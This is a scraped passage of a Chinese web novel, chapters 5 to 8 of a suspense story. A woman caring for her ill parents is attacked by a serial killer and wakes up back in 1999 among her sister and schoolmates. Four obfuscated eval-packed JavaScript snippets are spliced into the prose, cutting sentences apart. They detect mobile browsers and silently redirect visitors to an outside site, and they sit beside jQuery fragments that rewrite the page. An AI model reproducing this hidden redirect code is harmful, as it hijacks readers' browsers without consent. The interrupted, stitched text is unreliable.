听罢,夏迟的目光缓缓下移,看向路面上的积雪,故作轻松的舒了口气,“没事,早晚都能抓住的,老师你也别担心我,他的目标一直都是在校学生,我都奔三的人了,怎么想都是安全的。” 韩途生没再对此多说什么,就将话题岔回要请夏迟吃饭这件事上,并且叮嘱她千万不要客气,一定要来。 告别了韩途生,夏迟脚下一转走向公园附近的胡同,通过这里去到市场那边。 街边有好多售卖烟花爆竹的摊位,除了问价,夏迟一言不发,甚至都没有心情讨价还价,直到她回到家门口才调整好状态,勉强自己重新换上笑脸,“爸,妈,我回来啦~” 她还要照顾年迈的父母,她不能再让父母为自己担心,所有的情绪只能依靠自己消化。 …… 一周后,夏迟带着李桂梅去医院复查。 冬季正是流感与心脑血管病的高发期,病房爆满,就连走廊里都放置了床位,让本就狭窄的走廊显得越发拥挤。 夏迟扶着李桂梅来到等候区的椅子上休息,从她回来到现在,李桂梅的病情说好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959394|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好说坏不坏,虽然认不出她是谁,但偶尔也能聊上几句。就比如今天,李桂梅好像是第一次见到她似的,出门前还在嗔怪夏国强,说自己身体没问题,只是去医院而已,怎么还麻烦别人家的姑娘过来帮忙。 “姑娘啊,谢谢你了。”坐下后,李桂梅拉着她的手,面露慈爱,“我家那老头子老糊涂了,我就是岁数大了,能有什么病啊,你看我,不是健健康康啥事都没有吗,还非要我来做检查,真是浪费钱。” 夏迟:“当然没病,他只是担心你。” 李桂梅:“嗐,我用得着他担心,你瞅他身体好吧,其实还不如我呢。” 夏迟:“是是是,你这身体健康着呢。” 她从包里拿出一个保温杯,里面是温度正好的凉白开,是临出门前夏国强特意叮嘱她带的。自从生病后,李桂梅的肠胃也变得非常脆弱,受不了凉,只能喝温热的。 夏迟:“来喝点热水。” 李桂梅接到手里拿到嘴边浅浅喝了一口,叹息道:“唉,这人老了,身体是不比从前,想当年我在工厂上班,每天从早干到晚,现在退休了,闲着了,反倒不如当年上班的时候。” 说完这话,李桂梅似乎陷入了某种回忆,她眼睛直勾勾的盯着地面,逐渐变得麻木,也不再和夏迟说话。这种情况夏迟已经见过很多次,只要李桂梅变成这个样子,就意味着她现在又变成了无法交流的状态,即便是和她说话,她的大脑也不会有任何反应。 怕水撒到裤子上,夏迟慢慢从她手中取回保温杯杯盖,自己喝光了里面的水,再将保温杯用杯盖盖好,放回到背包里。 这时,夏迟突然闻到一阵儿烟味儿,她抬头四下看了看,发现有个男的躲在角落偷偷点了一根烟。 北方的冬季又干又冷,好多老年人的气管不好,周围有闻到的已经开始咳嗽。 夏迟放下背包,起身走到那个男人面前,“这位先生,请你把烟灭掉。”她抬手指了指墙上的标识,“这里是禁烟区。” 男人吊儿郎当的抬眼皮看他,毫不在乎的又朝她吐了一口烟,“咋的,我抽不抽烟关你屁事。” 然而有了夏迟带头,周围人的目光全都集中在了他身上,并且纷纷帮着夏迟说话,座位靠前的已经起身去找护士。 男人恼羞成怒,直接将未熄灭的烟头扔在地上,“瞅啥,要特么你管!” 那些老头老太太他碰一下赔不起,但他可以将怒火发泄在夏迟身上,说着他腾地一下站了起来,扬着下巴贴近夏迟,一身烟味儿熏的她直皱眉,“你在医院、还是禁烟区吸烟,是个正常人看到都要管。” 吵闹间,护士已经赶到现场,她们试图先将两人分开,可男人仿佛被卷了面子,和护士推推搡搡嘴里还骂骂咧咧,一群人纠缠在一起,场面变得相当混乱。 不远处的李桂梅听到了争吵声,僵硬的扭头看向那边,她的目光缓缓落在夏迟身上,眼看那个男人伸手去抓她,这个画面突然刺激到了李桂梅,她的眼睛逐渐变得清明,颤抖着嘴唇大叫一声,然后大步冲过去一头将男人撞倒在地。 “你放开我姑娘!谁让你碰她的,我杀了你,我要杀了你!!!” 5. 第五章 那个男人结结实实的摔了一下,脑袋发懵,还没等缓过劲儿来,只见李桂梅再次扑上去,拳头狠狠砸在他的身上,“我让你碰我姑娘!让你碰我姑娘!” “妈!”夏迟心头一颤,赶忙冲上前从身后抱住她,“别打了,妈你看看我,我没事。” 久病的李桂梅瘦了很多,现在闹了一通几乎耗尽了她全部的力气。她被夏迟拉扯起来,气喘吁吁,在周围乱糟糟的交谈声中,李桂梅眼神涣散仍旧盯着被扶起来、嘴里骂骂咧咧的男人,过了片刻,才在夏迟的呼唤中将目光聚焦在她的身上。 多年未见,女儿已经不再是她记忆中的样子,长高了,也长胖了一点。 “夏迟……”李桂梅眼角微红,却又狠心将她推开,“你这孩子为什么不听话!谁让你回来的!” “妈,你别激动,你先听我说……” “有什么好说的!”李桂梅用着全身的力气推着夏迟往外去,“我现在就送你去车站,你买最早的车票,赶紧给我走!” “妈,你……妈!!!” 众目睽睽之下,李桂梅身形一滞,直挺挺的倒了下去。 …… 医院里的消毒水味道仿佛永远都挥之不去,病房内,夏迟坐在床边的小板凳上,听着周围病人的咳嗽声、拉风匣似的呼吸声,看着昏迷不醒的李桂梅,目光空洞,神色麻木。 半小时后,夏国强穿着夏迟给他买的那件羽绒服、手里拎着装着病历和检查片子的塑料袋,带着一身寒气走进病房,肩膀上还有雪化后的水渍。 “爸……”夏迟嗓音干涩。 “刚去问过了,大夫说没事。”夏国强将塑料袋放到床头柜上,摘下毛线帽子揣进兜里,搓搓冻的发硬的手,“你妈这病就怕情绪激动,等缓过这个劲儿就好了。” 望着爸爸已经花白的头发,夏迟默默垂下眼帘。 她知道爸爸是为了安慰自己才这么说的。 夏国强抽抽鼻子,看了一眼外面的天色,“你先回家吧,今晚我守着你妈,明儿白天你再来。” 外面的雪越来越大,除了忙着扫雪的环卫工人,其余行人步履匆匆。 ——他们是要回家吗? 夏迟垂下眼皮,看着已经微湿的靴子尖,神色漠然。 她踩着厚厚的积雪脚步沉重的回到家里,脱下外套,挂在门边的挂钩上。 当时通知的突然,夏国强在接到电话后匆忙的找出李桂梅的病历、匆忙的穿衣,以至于换下来的衣服就那么随意的被丢在了地上,甚至还碰倒了一个装水的玻璃杯。 夏迟换好自己的拖鞋,过去将衣服一件一件的捡起来放在沙发上,捡起玻璃杯,又去卫生间找来拖布,将地板上的水一点点拖干净。 做好这一切后,她呆呆的回到沙发坐下,大脑空空的不知道该干点什么好。 ——哦对,爸爸的衣服沾了水,得重新洗一下。 然而此时的她身体仿佛不听使唤,手已经去抓衣服,眼睛却透过敞开的卧室门看到了爸妈屋子里没关好的大衣柜。 这个衣柜已经几十年了,还是爸妈结婚那年姥爷给出嫁的女儿亲手打的,纯实木,带着岁月的厚重感,里面除了挂衣服的位置还有一个小抽屉,里面放着一些票据和家里的存折。 现在柜门大开,抽屉也没完全推回去,夏迟麻木的看了片刻,单手撑着沙发慢腾腾起身,趿拉着拖鞋走到衣柜前。 与记忆中相比,抽屉里多了薄薄一沓空白的A4纸。 夏迟不明所以,拿起来一看才发现,这些纸并不是空白的,而是被人倒扣在这里,正面是市中心医院的诊断结果。 姓名:夏国强 性别:男 诊断结果:胰腺癌晚期 这一刻,夏迟再也止不住眼泪,抱着诊断结果跌坐在地,背靠床边,嚎啕大哭。 撕心裂肺的哭声被局限在这小小一方天地中,仿佛这十几年被束缚住的时光,夏迟像个无措的孩子,一边哭着一边努力环顾四周,她想找到一点什么来证明,可又不知道究竟要证明什么。 她只知道回家以后,一切的一切都变得非常陌生,除了这些老旧的家具,再也找不回一家人的快乐时光。 那时的李桂梅管她们管的严,嗓门还大,隔着门板都能听见写完作业就早点睡觉的催促,而夏国强天生好脾气,每次都乐呵呵的哄着媳妇儿,说姑娘们都长大了做家长的就别管太多,有时还会私下里偷偷给她们塞零花钱,让她们去买喜欢吃的辣条,但千万别让妈妈知道。 一家人时常吵吵闹闹的,倒也乐在其中。 然而这一切都在某天过后,戛然而止。 夏晚离开后,她听从了爸妈的安排,她以为这样对自己好,也对爸妈好,于是忍受着别离的痛苦独自在外生活了十来年。可仿佛命运又对她开了一个天大的玩笑,她失去了姐姐,现在又要失去爸妈,她不知道当初的选择究竟有什么意义,她也不知道自己到底做错了什么,老天居然要用这样的方式惩罚自己。 最后,夏迟哭累了,带着繁重的心事靠在床边昏昏沉沉睡了过去,等再一睁眼,窗外已经变成了夜色。 时间不会为任何人停下脚步,墙上的钟表滴答滴答,屋内没有开灯,夏迟看不清上面的时间,只好摸索着爬起来,拖着睡麻了的双腿,踉踉跄跄的回到客厅沙发,找到扔在那里的手机。 ——晚上七点半。 夏迟没有开灯,任由手机屏幕熄灭后又坐了好一会儿,然后重新拿起手机拨通了爸爸的小灵通。 “喂,爸……” 夏国强瞬间就听出了她的异常,“咋嗓子还哑了呢?” 夏迟努力挤出一点笑意,“这不回来睡了一觉吗,刚醒,嗓子就这样。” 夏国强不疑有他,“那就多喝点水,咱家暖气开得大,多喝水别上火了。” “知道啦。”夏迟揉揉自己哭肿了的眼皮,继续道:“我睡好了,要不一会儿我去医院替你吧。” 夏国强:“别折腾了,你明儿白天过来就行,一会儿要实在闲着没事就看看电视,等你妈这事忙完,咱们一家人好好过个年,到时候爸给你做你最爱吃的锅包肉。” 夏迟:“哦,那……就过年才给做啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959395|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏国强:“这孩子……唉,吃多少做多少,你要想天天吃,爸就天天给你做。” 夏迟:“嗯……爸你真是太厉害了,我这次回来尝了你的手艺,发现简直不减当年啊,我现在也回来了,可以帮你照顾妈,你就没想着发挥一下余热什么的?比如再开个店?让当年的老邻居也尝尝,说不定吃好了人家还能给你送个锦旗,比如……额……老夏同志风采依旧,灶火掌勺暖人心胃。” “哈哈哈哈哈……”电话那边的夏国强一阵大笑,“你呀,就知道拿你爸开心,行了,电话费怪贵的,不聊了。还有,你那个手机号不是江城的吧,漫游费老贵了,以后就用家里座机打,省不少钱呢。” 夏迟:“知道啦~” 挂断电话后,夏迟起身去开了灯,她先把诊断结果按照原样放回抽屉里,然后将夏国强换下来的衣服扔进洗衣机。 听着洗衣机里不停翻滚搅动的声音,夏迟站在洗手池前,看着镜子里的自己,突然有种无比陌生的感觉。 洗衣机是前几年新买的全自动,洗一次大概四十分钟的时间,夏迟就那样安安静静的站了四十分钟,等到洗衣机停下,她将里面的衣服取出来晾好,心里也最终下了决定。 她要给自己一个交代,也要给爸妈一个交代。 还有夏晚。 她要亲手将这一切画上句号。 夏迟重新换上了羽绒服,带上毛线帽子后又带上了羽绒服帽子,衣兜里揣了一把水果刀。 不知道是不是产生了错觉,其实这段时间出门,夏迟总有一种被人跟着的感觉,起初她觉得可能是自己神经过敏,怕爸妈担心也没和他们说过,但现在,她突然想要这一切都是真的。 凶手还没有放弃她,只要凶手没有放弃,那她就还有机会。 距离最近的一次案子发生在江边的人工岛,她没办法直接找到凶手,只能等待凶手主动现身。 守株待兔或许很蠢,但对夏迟而言,却是现在唯一的方法。 所以她要去人工岛,她只希望那个凶手有点胆量,毕竟她现在长大了,就算对方人高马大自己不是对手,但至少她还能反抗挣扎一下。现在不比当年,DNA技术已经广泛应用,只要她能咬伤或抓伤对方,哪怕是获得对方一根头发,都能起到决定性的作用。 想到此,夏迟深吸一口气,戴上耳机,紧紧握了一下兜里的水果刀,鼓起勇气走出家门。 她家还是老式门锁,得用钥匙插进锁孔反拧才能把门锁好。 头顶的感应灯亮起,夏迟面对着门,刚把钥匙插进去,突然看见门上出现了一个阴影笼罩住了自己的身形。 她心头大惊,但没等回头,脑后就被重物狠狠敲击。 夏迟无力的跌倒,倒下时用尽最后一丝力气朝那人看去。 厚重的靴子,老钢厂深蓝色工服,脸上带着白色的劳保口罩,脸部被硕大的帽子挡住,再加上逆着光,夏迟根本看不清他的任何特征。 但,这人的打扮好像是个工厂工人。 再之后,夏迟只觉眼皮越来越重,眼前一黑,最终昏死过去。 6. 第六章 半梦半醒间,夏迟的意识昏昏沉沉,她隐约听见各种嘈杂的声音,好像有人在喊自己的名字,又好像听见了救护车的鸣笛声。 “夏迟!夏迟!” 这声音听着有点耳熟,但脑后的剧痛让夏迟无法睁眼也无法进行过多的思考,她只觉身体越来越沉,仿佛脚踩在悬崖边上,最后狠狠一坠落入了无尽的黑暗中。 …… “夏迟?夏迟你快给我起来!” 耳边的声音让夏迟思绪回笼,她迷迷糊糊睁开眼睛,发现自己穿着睡裙躺在床上,一张早已尘封在记忆中的熟悉的面孔正站在床头,居高临下的看着自己。 “夏晚……” “好家伙,你可算醒了。”夏晚嗔怪道,“醒了就赶紧起床,妈已经喊了两遍了,再不起床小心她进来骂人。” 夏迟猛地坐起,差点撞在夏晚脸上,吓得对方赶忙后退了一步,“你干嘛,做噩梦吓着了?” “噩梦?”夏迟看看自己的手,又抬头看向夏晚,然后掀开被子,鞋都没穿就扑过去将夏晚紧紧抱住,“夏晚,我又见到你了,我呜呜呜呜……” 夏晚浑身僵住,双手无助的举在半空,一脸惊恐,“我靠,咋睡一觉还睡中邪了呢。” 夏迟哭的满脸花,她根本不想分辨这是噩梦还是美梦,她只知道又见到了姐姐,哪怕只是个梦,她也希望这个梦越长越好。 “夏晚夏迟!”隔着门板,客厅里传来一声怒吼,“叫你们几遍了,早饭到底吃不吃了?!” 是李桂梅的声音。 察觉到抱着自己的力道略有松动,夏晚赶紧从她的魔爪中脱身,朝客厅那边大喊,“诶!来了来了!”说完后又叮嘱夏迟,“快点的,没听见妈要生气了吗。” 时光仿佛倒回了那一年,客厅里的家具半新不旧,屋外的阳光也格外温暖。李桂梅好像一夜之间回到了中年时的样子,穿着一件开衫毛衣,烫的小卷发被茶色抓夹抓在脑后,只隐约可见几根白发,五碗粥、茶蛋、包子已经摆在了桌上,就等她们出来吃饭了。 看着夏迟满脸泪痕,李桂梅用围裙擦擦手,皱眉问道:“咋了这是?” 夏晚:“不知道哦,可能做噩梦了吧。” 李桂梅斜眼将夏迟上下打量一番,片刻后催促道,“没事吧?没事就赶紧洗脸去,一会儿等你爸和陆尘回来就吃饭了。” 几分钟后,门被人用钥匙打开,夏国强腆着微胖的啤酒肚,仿佛天生自带笑脸,脑门上还有一点汗,“今天出门都少穿点,外面可热了。” 等他进屋换鞋后,陆尘也跟着进了屋。 他和夏迟夏晚同岁,就住在隔壁,从小一起玩到大。 那时夏家和陆家都是钢厂职工,但陆尘的爸爸早早辞职去南边做买卖,几年下来收益不错,身边也缺人帮着打理,陆尘也大了,不需要人照顾,就想着带着媳妇儿一起走。 在夏迟的记忆中,那年并不算是个好年份,因为随着下岗潮的到来,夏国强和李桂梅不可避免的双双失业,好在家里还有一点余钱,不至于像某些人一大家子七八口,活不下去只能买了耗子药全家自杀。 夫妻二人一合计,觉得夏国强做菜好吃也算是门手艺,小区外面有闲置门脸可以租下来开个烤串店,位置好,离家也近,但各种费用算下来实在是无力支付。 正好那年陆爸爸回来,年三十那天,夏国强愁眉苦脸,最后干了一瓶白酒借着酒劲儿去找陆爸爸谈借钱的事。都是几十年的同事兼邻居,两家关系非常好,陆爸爸问明缘由后便给他拿了钱。 虽然后来串店的生意好了起来这笔钱也早早还给了陆家,但夏国强和李桂梅一直记着对方的好,在陆妈妈跟着丈夫去了南方后,便一直将陆尘当成自己的亲儿子,怕他做饭麻烦就让他一日三餐都来这边吃,生活上也是多有照顾。 只是陆尘在高考后突然选择了出国,从那以后再也没有回来,两家这才断了联系。 察觉到紧盯自己的视线,陆尘抬眼回看夏迟,“干嘛总盯着我看?我脸上有东西?” 夏晚已经坐下来开始剥茶蛋,闻言笑了笑,“你别管她,她今天抽风,刚才也不知道梦到啥了,可能是鬼吧,睡醒之后抱着我嗷嗷哭。” 陆尘:“……她还能被吓哭?” 要知道在他印象里,夏迟从小就跟男生一起爬树和泥巴,树上巴掌大的大青虫她敢直接上手抓,比某些男生都生猛。 陆尘实在想象不出有什么东西能吓到她。 饭桌上,夏迟默默的喝粥,看她似乎胃口不好的样子,李桂梅又去厨房给她拿了一个咸鸭蛋,让她就着粥吃。但这事她也没放在心上,只叮嘱三个小孩今天要听老师的话,不要到处乱跑,又问零花钱有没有带够,要真走丢了就别心疼钱,直接打车回家。 夏迟这才想起来,现在是99年的三月末,她才刚刚高一,今天是他们就读的实验一中定好的高一高二春游的日子。 早饭结束,李桂梅再次返回厨房,拿出了三份提前准备好的装好饭菜的保温桶,给他们各自放到书包里。 他们今天要去市游乐园,里面没有吃饭的地方,老师建议自带午饭,可以带面包和水,也可以从家里带盒饭,等到中午大家一起找个地方坐下来野餐。 直到换好衣服出门,夏迟仍旧有点恍惚。 书包的触感是那么真实,周围的一切都像是真的一样,那些熟悉的红砖房还有骑着二八大杠去上班的人们,仿佛她真的穿越时空回到了99年。 陆尘兜里揣着一款银色随身听,戴着耳机,但却有点心不在焉,在去小区正门的路上,他忍不住摘下一只耳机,回头看向呆呆的夏迟,冷淡的语气中带着一点关心,“你真没事?” 夏迟闻言抬头,又摇摇头,低头后嘴里喃喃,“为什么这么真实呢?” 陆尘听不懂她说什么,扭头看向旁边的夏晚,但夏晚也不知道,“我说她中邪了你还不信,诶你认不认识什么大仙,找过来叫一叫,说不定就好了。” “我怎么可能认识大仙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959396|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆尘叹气,“你不是会算吗,你算的什么结果?” 自从星座测试风靡校园后,夏晚便一头陷了进去,哪天出生是什么星座、什么星座是什么性格、今日星座运势等,简直如数家珍,李桂梅每月给的那些零花钱,都被她用来买相关书籍以及开运物品了。 夏晚:“根据今日的星座运势,我们狮子座运气爆棚宜出行,也没说会中邪啊。” 陆尘再次叹气,“所以我早就说你那玩意儿根本不准。” 夏晚翻了个白眼,“嘁……” 听着前面俩人的谈话,夏迟嘴角露出一丝微笑。 算了,不纠结了,就当是老天爷看她这些年过的太苦给她的一丝安慰吧。 “我觉得陆尘说得对。”说着,夏迟紧跑两步挤在他俩中间,一手挎着一个人的胳膊,“你说你买那么多开运的有什么用啊,浪费零花钱不说,也没看你成绩有提高。” 一提到这个夏晚当即没了脾气,像一只泄了气的皮球,狡辩道,“开运只是增加运势,和提高成绩本来就是两码事,再说了,我成绩就算再高也高不过你俩啊,这有什么可比的。” 年级第一的钟景明也是他们一班的,成绩一直稳如老狗,地位稳固的无可撼动。夏迟和陆尘在年级第二第三的位置上竞争激烈,但总体来讲,年级前三都被他们承包了,别人想插都插不进来。 夏迟:“哎呀,又没让你一下就学成钟景明那样,但你也不能次次倒数啊,上学期家长会,你没看咱妈那个脸色,真的,我已经怀疑咱妈是真的想揍你了。” 说完她又扭头去看陆尘,“你说我说的对不对?” 陆尘没接这茬,反而问道:“你又好了?” “当然。”夏迟挎着他的胳膊用力晃了晃,“你看我现在,生龙活虎,已经彻底满血复活了!” 陆尘:“哦。” 实验一中有班车,有个上车点就在206小区门口,他们三个到的时候已经聚集了好几个穿着校服的同学。 “夏晚,诶过来过来!” 因为共同的爱好,夏晚和其他班的几个女生走的很近,见到她们后立刻高兴的挥手,然后从书包侧面口袋拿出口香糖塞给夏迟,“上车记得吃,小心晕车。” 眼看夏晚愉快的奔向了自己的小姐妹,夏迟只能无聊的和陆尘站在一起,她将手里的口香糖拆开,从里面取出一片刚要递给陆尘,就见对方嫌弃的皱起了眉,“别再给我薄荷味儿的了,我不吃。” “薄荷味儿怎么你了,多提神醒脑啊。”夏迟摊开手掌,“看清楚了,这次是香蕉味儿的。” 这下陆尘没有心理负担的接受了。 夏迟看着他拆开外包装、将口香糖放进嘴里,看着他的五官眉眼,片刻后突然笑出了声,“哈哈哈哈哈,果然啊,你还是和我记忆中一样,根本就没变。” 她一巴掌拍的陆尘向前趔趄,陆尘太阳穴突突直跳,“你刚说你好了根本就在骗我吧,你到底中的什么邪,怎么还带间歇性发疯的呢?” 7. 第七章 按照陆尘对夏迟的了解,以往话谈到这个份上,夏迟肯定会回怼他,但这次他显然预估错误,只见夏迟毫无心理负担的点点头,“因为我在做梦啊,梦里发发疯怎么了?” 陆尘:“……” 他抬手按在夏迟脑门上,疑惑道:“没发烧啊……” 夏迟嫌弃的躲开他的手掌,“哎呀行了,反正我说了你也不懂,你就当我是在发疯好了,不过这对我而言确实是个梦,而且还是个美梦。” 几分钟后,班车到来。 夏晚自然而然的和她小姐妹们坐在一起,她们谈论星座、谈论最近商场有什么好看的文具、谈论哪种指甲油自然又好看还不会被老师发现,谈着谈着又开始聊起今天的春游,游乐园哪个项目最好玩、要先玩什么后玩什么,话题多种多样。 夏迟虽然和她是亲姐妹,关系好到无话不谈,但对于爱好方面确实没有太多的共同话题,与这些相比,夏迟觉得还不如多背几个单词多做一张卷子,所以在学校的时候,两姐妹都是各玩各的。 以前夏迟还会偶尔劝她好好学习,可经历了这么多,又是在梦里,夏迟透过椅背的缝隙看着夏晚开心的样子,觉得成绩不成绩的根本不重要,只要她能开开心心的就好。 “你看夏晚。”夏迟笑着去拍坐在身边的陆尘,“真好啊,我好希望她一辈子都能这么快乐。” 陆尘坐在靠窗的位置,闻言没摘耳机也没有回头,敷衍道:“嗯嗯嗯……” 看完了夏晚,夏迟又将目光重新投向陆尘,“分我一个耳机,我也想听歌。” 陆尘皱眉,“我要是不呢?” “现在可是在我的梦里。”夏迟自信满满,“我就是这里的主宰,所以我说话你是一定会听的。” “呵呵。”陆尘沉默着看她片刻,最后将外侧耳机摘下塞到夏迟耳朵里,“行,给你,我看你今天还能弄出什么幺蛾子。” 随身听是陆尘的标配,几乎不离身,就连上课都要将耳机线从衣袖里穿出,偷藏在手心,老师在讲台上看他是单手托腮仿佛在认真思考,其实就是在偷偷听音乐。 因为他成绩好,科任老师也没怀疑过什么,这招屡试不爽直到现在都没被发现。 耳机里传来轻快的钢琴曲,这是陆尘的习惯,他只听这种轻音乐,用他自己的话说人类的声音很烦,日常生活中都快听吐了,不想再从耳机中听到。 虽然在外人看来多少有点装逼的嫌疑,但不得不说,这种音乐确实可以让人沉静下来。 视线越过陆尘,夏迟看向外面疾驰而过的景色。 班车路过一个小区,这个小区是几十年前修建的,里面还有一个砖砌的高高的水塔,用于给小区居民供水,夏迟指着那里给陆尘看,“你看那个水塔,过几年就要拆了。” 陆尘顺着她的声音向外看去,却没有说话。 又过一会儿,夏迟又指着路边一处荒地,“那里将来会变成一个公园,每天晚上都会有好多大妈来这里跳广场舞。” 陆尘一言不发,安静的听着她在自己身边说个不停,夏迟就像是知晓未来一样,每路过一个地点都要说说未来的变化,哪里要盖高楼、哪里要拆迁、哪里房价会涨,陆尘听不懂,但也没有打断她。 倒是夏迟意识到了他的沉默,“我知道你不爱听,可我也没人能说话了,要不说做梦好呢,这要是在现实中,你肯定直接让我闭嘴。” 陆尘:“那我要是现在让你闭嘴,你会听吗?” 夏迟:“显然不会啊。” 陆尘点点头。 这就没什么好说的了。 游乐园前的广场上已经聚集了不少学生,陆尘和夏迟分别是高一一班的班长和团支书,下车后立刻去找班主任韩途生,从他手中接过写着班级的木头牌子,举起来让看到的本班同学来这里集合。 半小时后,眼看人数差不多了,陆尘在前面举着牌子,夏迟按照班级名单逐一点名,确认无误后将名单重新交还给韩途生,“老师,人已经到齐了。” 韩途生:“那好,趁着现在人少,咱们赶紧去前面排队,争取最早进去最晚出来,让你们都多玩一会儿。” 学校按人头购票,游乐园也会在入园时核对人数,韩途生带着本班同学加快脚步来到检票口,签字后,门口的工作人员便一个一个查着人数给他们放行。 这张套票包含一些娱乐项目,比如海盗船、摩天轮等,但其他的项目都需要自费,韩途生在叮嘱了他们不要乱花钱后便宣布就地解散,大家想玩什么自己去玩,在里面遇到急事可以就近联系工作人员或者随便哪个班级的老师。 江城是一座老工业城,大部分人都是厂里职工,随着前几年下岗潮的到来,各家的经济条件都不太好,这两年虽然有所缓和,但游乐园的门票偏贵,平时也舍不得带孩子来这里玩。 现在有了这个机会,只见话音刚落,同学们一个个的便如脱缰了野驴一般嗷嗷叫着往里面冲。 “好了,你们也去玩吧。”韩途生从陆尘手里收回牌子,笑呵呵的,“别的班还没进来,现在玩啥都不用排队。” 夏迟:“老师,那你呢?” 韩途生摇摇头,“我都这个岁数了,对这些东西没兴趣,等一会儿看遇到哪个老师,一起找个没人的地方躲清净吧。” 今天阳光很好,照在身上暖乎乎的,告别了班主任后,夏迟和陆尘一齐往里走,他俩穿着冬季棉校服有点热,便敞开拉链,陆尘单耳挂着耳机,环顾四周,兴致缺缺,“你要去哪儿?” 夏迟也不知道,“要不先把套票项目玩了吧,钱都花了,不玩多浪费。” 陆尘没有异议,二人慢悠悠的绕过花坛,先去坐了海盗船,又就近去了过山车,接连两个高空项目坐下来夏迟的胃有点不舒服,陆尘便带她登上了摩天轮,权当休息。 这个摩天轮已经建成很多年,支架多处锈迹斑斑,随着轿厢缓缓上升,外面总是传来吱嘎的金属摩擦声,听的人牙酸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959397|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏迟趴在窗边,目不转睛的看着外面的风景。 陆尘盯着她看了片刻,问道:“你好像突然对周围环境很感兴趣。” “当然了。”夏迟仍旧没有移开视线,“以后的城市发展很快的,咱们这儿人也越来越少,这些景色都是看一次少一次,肯定要好好看一看啊。” 陆尘:“等考上大学后,每年寒暑假都能回来看,半年时间倒也不见得改变多少。” 可当他说完后,他明显感觉夏迟的情绪低落许多。 夏迟:“不会回来了,你不会回来,我也不会回来。陆尘,梦是个美好的东西,如果不是在梦里,可能我这辈子都见不到你了。” 陆尘:“为什么?” 然而这次,夏迟却没有回答他。 梦是美好的,也是她短暂逃避的地方,她不想再在这里提起那些即将要发生的伤心事。谁也不知道这个略显真实的梦会持续多久,夏迟只希望能开心一点,尽可能的享受在这里的每一分每一秒。 想到此,夏迟长出一口气,“没有为什么,都说了,我在做梦,梦里我说了算。” 陆尘微微蹙眉,神色复杂看向窗外,片刻后,他起身去到夏迟身边坐下,将空闲的那只耳机塞到夏迟耳朵里,“听音乐,别说话。” 夏迟将耳机调整了一个舒服的角度,“嘿嘿。” 轿厢缓缓升到最高点又缓缓降下,二人结束了摩天轮之旅,将剩下两项玩完后无所事事到处闲逛。 其实游乐园里还有不少别的项目,比如异兽馆,说是里面可以看见两个脑袋的蛇和四条腿的鸭子,比如3D馆,说是戴上耳机后可以身临其境,还有鬼屋,说是可以吓到晚上睡不着觉。但这些都需要额外购买门票。夏迟和陆尘虽然有足够的零花钱,可对这些都不感兴趣,一人戴着一只耳机走来走去,最后提前来到约定好的午餐地点——既小荷花池边的长廊。 这边和娱乐项目有不小的距离,现在没到午饭时间,几乎看不到人。 为了避免扯掉耳机,夏迟和陆尘几乎是肩并肩的走,挨得非常近,正当俩人犯愁要怎么挨到中午时,突然看见前面拐角处也有一个身着一中校服的人。 “钟景明。”夏迟热情的和他打招呼。 “哦。”听见声音的钟景明只是淡淡应了一声,头也不抬,坐在那儿继续专注着手上的游戏机。 夏迟将耳机还给陆尘,俩人一左一右坐在钟景明两侧。 陆尘:“什么时候换的新游戏机?还是彩屏的。” 钟景明:“过年,我妈妈新给我买的,说是为了庆祝我再次年级第一。” 夏迟:“那你妈妈岂不是每学期都要给你买一个。” 钟景明手上操作不停,但也没耽误他回答两人的话,“那倒不至于,毕竟游戏机更新换代是有周期的,我妈妈顶多是看出了什么新的游戏卡带,她不懂哪个好玩,看到的都给我买回来,反正玩再多的游戏也不耽误我还是年级第一。” 8. 第八章 此话一出,陆尘和夏迟全部陷入沉默。 